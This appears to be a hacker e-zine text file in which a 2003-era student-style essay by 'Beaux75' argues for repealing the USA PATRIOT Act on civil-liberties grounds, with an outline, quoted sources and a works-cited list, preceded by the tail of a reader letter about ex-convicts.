If so, then exconvicts are illegally being persecuted and discriminated against along with their families. How would you rectify this?

Nuff Said-
Bootleg

```
|=-----------------------------------------------------------------------=|
|=-=[ The Molting Wings of Liberty ]=------------------------------------=|
|=-----------------------------------------------------------------------=|
```

by Beaux75

Thesis: The USA PATRIOT Act (USAPA) is too restrictive of the rights mandated by the Constitution and must be repealed.

```
I.  Introduction
        A.  Circumstances leading up to the USAPA
        B.  A rushed job
        C.  Using public anxiety and war fever to push an unjust bill
II.  Domestic spying and the end of probable cause
        A.  Breaking down restrictions on unlawful surveillance
        B.  Side-stepping court orders and accountability
        C.  Sneak and peek
III.  Immigrants as suspects
        A.  Erosion of due process for legal immigrants
        B.  Criminal behavior now subject to detention and deportation
        C.  Denying entry based on ideology
IV.  Defining the threat
        A.  Accepted definition of terrorism
        B.  The USAPA and its overbroad definition
        C.  "Domestic terrorism"
V.  Silencing dissent
        A.  Questioning government policy can now be terrorism
        B.  Public scrutiny encouraged by present administration
                1.  Recruiting Americans to inform on Americans
                2.  Blind faith in political matters
                3.  Keeping our leaders in check and our citizens informed
VI.  Refuting common retort
        A.  "I do not want to be a victim of terrorism."
        B.  "I have nothing to worry about because I am not a terrorist."
        C.  "I am willing to compromise my civil rights to feel safer."
VII.  The future of civil rights at the present pace
        A.  Expansion of unprecedented and unchecked power
        B.  The illusion of democracy and our descent into fascism
        C.  Our leaders no longer have the public’s best interests in mind
VIII.  Conclusion
        A.  The USAPA trounces the rights guaranteed to all Americans
        B.  People must stay informed
        C.  Vigilance in the struggle to maintain freedom
```

Pros:

1. Act is unjust and violates civil liberties
2. Definition of "terrorist" reaches too far
3. Act is a stepping-stone toward fascism
4. Signals the decline of a democracy

Cons:

1. Limits the effectiveness of anti-terrorism efforts
2. No longer have broad and corruptible powers
3. Must find new ways to prevent terrorism
4. Must maintain the rights of the people

The Molting Wings of Liberty

In the darker alleys of Washington, DC, something very disturbing is taking shape. Assaults on our civil liberties and our very way of life are unfolding before us, yet somehow we are blind to it. What is shielding us from the truth about the future of America is the cataract of ignorance and misinformation brought on by mass paranoia. One thing is definite and overwhelming when the haze is lifted: our elected officials are knowingly sacrificing our rights under the guise of national security.

In the six weeks after the worst terrorist attacks on US soil, a bill was hastily written and pushed through congress granting the executive branch extensive and far reaching powers to combat terrorism. Thus, the awkwardly named "Uniting and Strengthening America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism" or USA PATRIOT Act (USAPA) was signed into law on October 26, 2001. President George W. Bush, in his remarks on the morning of the bill's signing stated, "Today we take an essential step in defeating terrorism, while protecting the constitutional rights of all Americans" (1). How can it be said that this law protects our constitutional rights when it can be utilized to violate five of the ten amendments in the Bill of Rights? The USAPA is a classic example of political over-correction: it may provide our government and law enforcement agencies with "appropriate tools" for combating terrorism, but at what cost to the basic freedoms that this country was founded upon?

Simply put, the USA PATRIOT Act is extremely dangerous to the American people because its potential for corruptibility is so great. Still, the 342-page tract was forced through Congress in near record time with next to no internal debate and very little compromised revision. Despite massive objection from civil rights watchdogs, it passed by an unprecedented vote of 356-to-66 in the House of Representatives, and 98-to-1 in the Senate (Chang). The Bush administration considered the USAPA an astounding bipartisan success, but neglected to inform the public of exactly what its provisions called for and conveniently left out that, in order to gain such an encompassing victory, many of the new powers were superceded by a "sunset clause" making some of the more sweeping and intrusive abilities subject to expiration on December 31, 2005. Most recently, there have been numerous reports of the Republican controlled Congress and their attempts to lift the sunset clause making these broad powers permanent ("GOP Wants")

Admittedly, the abilities mandated in the USAPA might help to counteract terrorism to a minor degree, but the price of such inspired safety means the systematic retooling of the very principles that every American citizen is entitled to. There is no doubt that this legislation is a result of public outcry to ensure the events of September 11, 2001 never happen again, but the administration's across-the-board devotion to internal secrecy was largely able to keep the bill from public eyes until after it was jettisoned into law. Even now, more than a year and a half after its inception, no one seems to know what the USAPA is or does.

From the Senate floor, under scrutiny for his lone vote against the USAPA legislation, Wisconsin Senator Russ Feingold delivered his thoughts on the bill:

There is no doubt that if we lived in a police state, it would be

> easier to catch terrorists. If we lived in a country where police were allowed to search your home at any time for any reason; if we lived in a country where the government is entitled to open your mail, eavesdrop on your phone conversations, or intercept your e-mail communications; if we lived in a country where people could be held in jail indefinitely based on what they write or think, or based on mere suspicion that they are up to no good, the government would probably discover more terrorists or would-be terrorists, just as it would find more lawbreakers generally. But that wouldn't be a country in which we would want to live. (qtd. in Hentoff)

Senator Feingold's words make up a very relevant issue that has been mentioned, but largely ignored by the Bush administration. It seems reasonable that most Americans would be willing to compromise certain liberties in order to regain the necessary illusion of safety. But what is not universal is that those compromises become permanent. In the wake of recent Republican activity and the other proposed methods of quashing terrorism, it is becoming more and more vital that the people of America educate themselves on this issue and urge their leaders to repeal the USAPA on the grounds that it is grossly unconstitutional.

At the heart of the USAPA, is its intent to break down the checks and balances among the three branches of government, allowing for a wholesale usurping of dangerous powers by the executive branch. Because of this bill, the definition of terrorism has been broadened to include crimes not before considered such; our first amendment rights of free speech, assembly and petition can now fall under the heading of "terrorist activity" and thusly, their usage will surely be discouraged; by merely being suspected of a crime, any crime, it can strip legal immigrants of their civil rights and subject them to indefinite detainment and possible deportation; and most alarmingly of all, in a fit of extreme paranoia, it allows for unprecedented domestic spying and intelligence gathering in a cold war like throwback to East Berlin's Ministry of State Security (STASI).

On the subject of domestic spying, news analyst Daniel Schorr, in an interview during All Things Considered on National Public Radio in the latter half of 2002 said, "Spying on Americans in America is a historic no-no that was reconfirmed in the mid-1970s when the CIA, the FBI and the NSA got into a peck of trouble with congress and the country for conducting surveillance on Vietnam War dissenters. A no-no, that is until September 11th. Since then, the Bush administration has acted as though in order to protect you, it has to know all about you and everyone" (Neary).

Never before in the United States have law enforcement and intelligence agencies had such sweeping approval to institute programs of domestic surveillance. In the past, things like wire-tapping, Internet and e-mail monitoring, even access to library records were regulated by judicial restrictions in conjunction with the fourth amendment and "probable cause." Because of the USAPA, warrants have been made virtually inconsequential and probable cause has become a thing of the past. Medical records, bank transactions, credit reports and a myriad of other personal records can now be used in intel gathering (Collins). Even the restrictions on illegally gained surveillance and so-called "sneak and peek" searches (that allow for covert, unwarranted, and in many cases unknown, searches and possible seizures of private property) have been lifted to the point of perhaps being admissible as evidence. Mind you, this is not just for suspicion of terrorist activity, but rather all criminal activity and it can be corrupted to spy on anyone, regardless of being a suspect or not. In addition to all of this, there is a clause in the USAPA that insulates the agencies who use and abuse these powers from any wrong doing as long as they can illustrate how their actions pertain to national security (Chang). Under these provisions, everyone is a suspect, regardless of guilt. When no meaningful checks and balances are in play, there is enormous capacity for corruption.

For the sake of argument, say that an administration has a faceless enemy in which they know to be affiliated with an organization that questions recent government policy. With this new power, the entire organization and all of its present, past and future members can be spied on by local and national law enforcement agencies. Thanks to unchecked sneak and peek searches, the members' private lives are now open for scrutiny and the intelligence gathered can be used to trump up charges of wrong-doing, even though the organization and its members have had their first and fourth amendments clearly violated. And because of asset forfeiture laws already long in place, the government can now seize the organization's and its members' property at will as long as they are labeled as suspects. Whether the case makes it to a courtroom or not is irrelevant. The government can now publicly question the integrity of the organization, thereby damaging its credibility and possibly negating its cause. All this, and much worse, can now be done legally and virtually without accountability.

This closely parallels the 1975 Watergate investigation. On this topic, Jim McGee, journalist for The Washington Post, writes, "After wading through voluminous evidence of intelligence abuses, a committee led by Sen. Frank Church warned that domestic intelligence-gathering was a 'new form of governmental power' that was unconstrained by law, often abused by presidents and always inclined to grow" (1).

Another flagrant disregard for basic civil and human rights is the USAPA's stance on criminality and immigration. We have already seen immigrants suspected of crimes being detained unjustly. In the near future, we should expect to see a rise in deportation as well as a further erosion of due process for legal immigrants. It has now become legal to detain immigrants, whether under suspicion of criminality or not, for indefinite periods of time and without access to an attorney (Chang). This is in clear violation of their constitutional rights, but with the fear of terrorism looming overhead, anyone who champions their cause is subject to public survey. Immigration is a hot potato of unjust activity, but one that many Americans seem apt to ignore. Newcomers to our country are already treated as inferiors by our government and now, because of the USAPA legislation, they are treated as suspects before any crime is even committed. More alarmingly, federal law enforcement agencies now have influence to keep certain ethnicities out of America based on "conflicting ideologies" (Chang). The message being sent: conform to American standards and belief systems or risk deportation. The clause sounds more like a scare tactic in order to keep what some deem as undesirables at bay, rather than a tool for preventing terrorism.

Even the definition of "terrorism" has undergone a major overhaul in the USAPA. Since 1983, the United States defined terrorism as "the premeditated, politically motivated violence perpetrated against noncombatant targets by subnational groups or clandestine agents, usually intended to influence an audience" (Chang). Essentially, it draws the line at people who intend to impact a government through violence of its civilians. This definition has been around for close to twenty years and has served its purpose well because of its straightforwardness. It addresses the point, and it does not overreach its bounds by taking into consideration acts or organizations that are not related to terrorism. As of October 26, 2001, the definition has become muddled enough to include "intimidation of civilian population," "affecting the conduct of government through mass destruction, assassination or kidnapping," or any act that is "dangerous to human life." It also spurs off to include "domestic terrorism" which is an act of terrorism by an internal organization (ACLU 04-Apr-03). All of these pieces can be legitimately molded to include activists, protestors, looters and rioters (all potentially dangerous to human life); embezzlers and so-called computer hackers (dangerous to financial institutions and therefore intimidating to civilians and government); serial killers, mass murderers, serial rapists (dangerous to human life and intimidation of civilians); and can even be stretched to the point of including writers, publishers, journalists, musicians, comedians, pundits and satirists based solely on their scope of influence. To think that by increasing the size of the terrorism umbrella, organizations like People for the Ethical Treatment of Animals (PETA), Food Not Bombs (FNB), and Anti-Racist Action (ARA) not to mention hundreds of thousands of outspoken protestors and activists for political and social change can be lumped in with the same international terrorist factions we have been hearing about for years.

In a report from the ACLU dated December 14, 2001, Gregory T. Nojeim, Associate Director of the Washington National Office stated:

> There are very few things that enjoy almost unanimous agreement in this country. One of the most important is our collective dedication to the ideals of fairness, justice and individual liberty. Much of our government is structured around the pursuit of each of these ideals for every American citizen. The Administration's actions over the past three months - its dedication to secrecy, the tearing down of barriers between intelligence gathering and domestic law enforcement and the erosion of judicial authority - are not in tune with these ideals. (ACLU 20-Apr-03)

All of these provisions taken into account, it makes one wonder if the Bush administration's commitment to ending terrorism is part of a larger commitment to end political dissent in general. After all, why else would a bill that so blatantly violates our basic civil liberties have been rushed through congress and signed into law on the horns of legitimate public anxiety and war fever? Thanks to the USAPA, the war on terrorism no longer seems concentrated on reducing the loss of innocent life at the hands of those who would kill to influence our government so much as it focuses on anyone who would like to influence the government regardless of their means or intended ends.

Now is the time, when our leaders see fit to begin whittling away at our basic rights that we need to be and stay informed and be as vocal as possible. Unfortunately, being outspoken may now land us in hot water, as we are now subject to the frivolous and unjust laws contained in the USAPA. Logic follows that if a government sees its own people as a threat, then it will do what it can to effectively gag them. Why would the American people be seen as a threat? All we have to do is wait out the current term and vote someone else into his or her place. That is, unless the right to vote is next on the chopping block.

Never before has their been a time when questioning government action can turn someone into a terrorist and therefore an enemy of his own country. Standing up for beliefs is terrorist activity? Voicing opinions and writing letters to officials is terrorist activity? The right to privacy and against unreasonable searches and seizures without probable cause is now terrorist activity? No! These are rights guaranteed to us by our country's charter!

Our leaders have seen fit to draw lines on the pavement and demand its allies on one side and its enemies on the other. They are recruiting Americans to spy and inform on other Americans without discretion while needlessly inflating the importance of such buzzword-labels as "unpatriotic," and "un-American." In addition, they are requiring those on their side to have blind faith in their leadership. Blind faith is a good thing to have in certain walks of life, but political matters are most assuredly not one of them. The main reason being that we are all humans and therefore subject to the same shortcomings and corruptibility as every other human being. For our leaders to somehow suggest that they are above this means that they are extremely misguided in their pursuits and may no longer hold the public's best interests in mind.

A report issued by the Center for Constitutional Rights (CCR) one year after September 11, 2001 contained this apt summation:

> The Bush Administration's war against terrorism, without boundary or clear end-point, has led to serious abrogation of the rights of the people and the obligations of the federal government. Abuses, of Fourth and Fifth Amendment rights in particular, have been rampant, but more disturbing is the attempt to codify into law practices that erode privacy, free speech, and the separation of

powers that is the hallmark of our democracy. (CCR 16)

Now is the time to become and stay informed and make sure that our leaders know that we are. There is a complacency that has permeated our culture, which dictates that people can not be bothered to take an interest in political policy. "Leave the politics to the politicians," is the usual cry. Many people don't even try to learn about governmental policy because they do not think they will understand it. Admittedly, politics is not as palatable as several thousand other things; root canal surgery somehow seems less painful. But it is imperative that we make the effort to protect ourselves from an administration that sees us as unwitting sheep. Especially now, when checks and balances are systematically being broken down within the structure of our governing body, it is upon us to keep our leaders from becoming excessively corrupt and hold them accountable for trying to trample on our freedoms.

The public anxiety caused by recent events has been overwhelming. There is no one in this country that wishes to be a victim of terrorism, and the odds of it happening are miniscule at best. Terrorism itself is a minor occurrence, but the fear of it has ballooned to the point of mass paranoia, which today, seems to be more of a mode of operation rather than a temporary affliction. It is wrong for our leaders to use that fear and paranoia in order to limit our freedoms, regardless of the cost.

There are those who feel that they have nothing to worry about because they are not terrorists. This logic is faulty because it assumes that our law enforcement agencies see us as innocents, which is no longer the case under the USAPA. Everyone is treated as a suspect until proven otherwise, and even then, the connotation of being a suspected terrorist is enough to ruin an innocent person's life. Under the 1983 definition of terrorism, far fewer people than what we are now told would fit the bill. By suspecting everyone, more overall undesirables will be weeded out but only a few of those will actually be terrorists.

Since the World Trade Center disaster, there has been mass speculation as far as what liberties we, as a nation, may have to give up as a result of national security. And there are those who are so afraid of the threat that they are willing to go along with this one-sided argument. The other side, being both safe and free, has been largely ignored in the media and dodged right and left by the president's administration. It is perfectly normal to fear something, even to the point of being willing to give up anything just to make the fear subside, but it cannot be expected that everyone, or even a simple majority, feel the same way. The difference in opinion must be addressed and the sound basis of freedoms that our country was founded upon must remain intact if we are still to be entitled to life, liberty and happiness.

Some would say that the future of our civil rights is hazy and unforeseeable. When examining the USAPA and the precedents it sets, the future becomes very clear. If we allow the provisions contained in the USAPA to linger, we can expect an expansion of that kind of unchecked power. In fact, plans are already underway. Attorney General John Ashcroft is one of the parties involved in drafting what has been called "Patriot II." If the bill is passed, the entropy of civil liberties in America will continue unhindered. The bill will further erode governmental checks and balances and expand the already loose definition of terrorism to incorporate all outspoken dissidents, and hold media outlets responsible for airing or printing what would be deemed as domestic terrorism. Under this power, mass media would theoretically cease any kind of editorial, unpopular opinion, quite possibly even normal news coverage out of fear of responsibility.

If our country remains on its current course, it is said that we will become less and less of a democracy and more of a fascist parliamentary dictatorship. Eventually, our way of life will be hollowed out from the inside and only the most trivial of freedoms will remain. Deeper down, we will become a nation of benign citizens under state control, and the smart money says that we will still be told that America is the greatest democracy in the world.

This is why we must stay informed and why we must remain vigilant in our struggle to maintain our freedom. The USAPA is detrimental to American society because at its core, it operates under the assumption that anyone could be a terrorist, or more generally, a threat to government policy. In a true democracy, organizations like the ACLU, Bill of Rights Defense Committee (BORDC), and Center for Constitutional Rights (CCR) would not be needed because all laws would be passed with our basic civil liberties in mind. Unfortunately, this is no longer (has it ever truly been?) the case.

The freedoms to voice our opinions and to assemble with others of a like-mind have been instrumental rights that we have utilized in order to make sure our government hears us. Beyond that, they have played a major role in keeping our leaders from excessive corruption. When our officials begin to make laws that counteract our freedoms, then it is time to raise our voices in unity despite the possibility of being called un-American. When our government begins to recruit Americans to inform on other Americans, then it is time for open defiance because living in a world where you can’t trust your neighbor is not a world worth living in and a government that cannot trust its own citizens is a government that itself cannot be trusted. When our leaders tell us that our voices and our actions are only aiding America’s enemies, then it is time to stand up and show our leaders that we are not the servile sheep that they think we are.

As a people, we need to send a clear, resounding message to our elected officials that we deserve our rights, and we deserve leaders who do not try to undermine them. But we also deserve safety. Our government has done some nasty things overseas, mostly without public knowledge or consent, so is it any wonder that terrorists lash out at our leaders by lashing out at us? After all, we are easy targets because we take for granted that out government will protect us. The demand that we compromise our freedoms in order to obtain that protection is not just grossly insubordinate, it is indicative of a government that is quickly losing interest in the needs of its people.

Works Cited

American Civil Liberties Union (ACLU) 04 April 2003
<http://www.aclu.org/NationalSecurity/NationalSecurity.cfm?ID=11437&c=111>

American Civil Liberties Union (ACLU) 20 April 2003
<http://www.aclu.org/NationalSecurity/NationalSecurity.cfm?ID=9857&c=24>

Bush, George W. "Remarks on Signing the USA PATRIOT Act of 2001." Weekly Compilation of Presidential Documents 37 (2001): 1550-1552.

Center for Constitutional Rights (CCR) 20 April 2003
<http://www.ccr-ny.org/v2/reports/docs/Civil_Liberties.pdf>

Chang, Nancy. Center For Constitutional Rights (CCR) 18 April 2003
<http://www.ccr-ny.org/v2/reports/docs/USA_PATRIOT_ACT.pdf>

Collins, Jennifer M. "And the Walls Came Tumbling Down: Sharing Grand Jury Information with the Intelligence Community Under the USA PATRIOT Act." American Criminal Law Review 39 (2002): 1261-1286.

"GOP Wants to Keep Anti-Terror Powers." San Francisco Chronicle
09 April 2003: A15

Hentoff, Nat. "Resistance Rising!" Village Voice 22 November 2002.

McGee, Jim. "An Intelligence Giant in the Making." Washington Post
04 November 2001: A4.

Neary, Lynn. "Commentary: Worrisome Trend of Bush Administration Efforts to Expand Their Collection of Information Data on American Citizens." All Things Considered National Public Radio. 18 November 2002.

```
|=[ EOF ]=---------------------------------------------------------------=|
```